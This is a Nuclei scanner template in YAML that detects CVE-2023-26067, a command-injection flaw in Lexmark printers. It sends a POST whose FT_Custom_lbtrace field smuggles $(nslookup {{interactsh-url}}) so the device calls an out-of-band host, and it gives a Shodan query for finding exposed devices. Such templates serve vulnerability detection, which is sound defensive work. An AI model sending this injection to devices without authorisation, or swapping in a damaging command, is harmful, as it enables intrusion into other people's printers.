54 lines
1.9 KiB
YAML
54 lines
1.9 KiB
YAML
id: CVE-2023-26067
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info:
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name: Lexmark Printers - Command Injection
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author: DhiyaneshDK
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severity: high
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description: |
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Certain Lexmark devices through 2023-02-19 mishandle Input Validation (issue 1 of 4).
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impact: |
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Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the affected device.
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remediation: |
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Apply the latest firmware update provided by Lexmark to mitigate the command injection vulnerability.
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reference:
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- https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022/
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- https://github.com/horizon3ai/CVE-2023-26067
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- https://nvd.nist.gov/vuln/detail/CVE-2023-26067
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- https://publications.lexmark.com/publications/security-alerts/CVE-2023-26067.pdf
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- https://support.lexmark.com/alerts/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.1
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cve-id: CVE-2023-26067
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cwe-id: CWE-20
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epss-score: 0.02407
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epss-percentile: 0.8875
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cpe: cpe:2.3:o:lexmark:cxtpc_firmware:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: lexmark
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product: cxtpc_firmware
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shodan-query: "Server: Lexmark_Web_Server"
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tags: cve,cve2023,printer,iot,lexmark
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variables:
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cmd: 'nslookup {{interactsh-url}}'
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http:
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- raw:
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- |
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POST /cgi-bin/fax_change_faxtrace_settings HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: gzip, deflate
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Content-Length: 49
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FT_Custom_lbtrace=$({{cmd}})
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matchers:
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- type: dsl
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dsl:
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- contains(interactsh_protocol, 'dns')
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- contains(body, 'Fax Trace Settings')
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- status_code == 200
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condition: and
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# digest: 4a0a004730450220163561843a7b5f8754625b9cd1bef0361406c1e90c2fc3c6101aee87ba80a26802210086e62dc10055052f8ab06f627820eff37f4f82d339c5316fbf6f935d4511f538:922c64590222798bb761d5b6d8e72950 |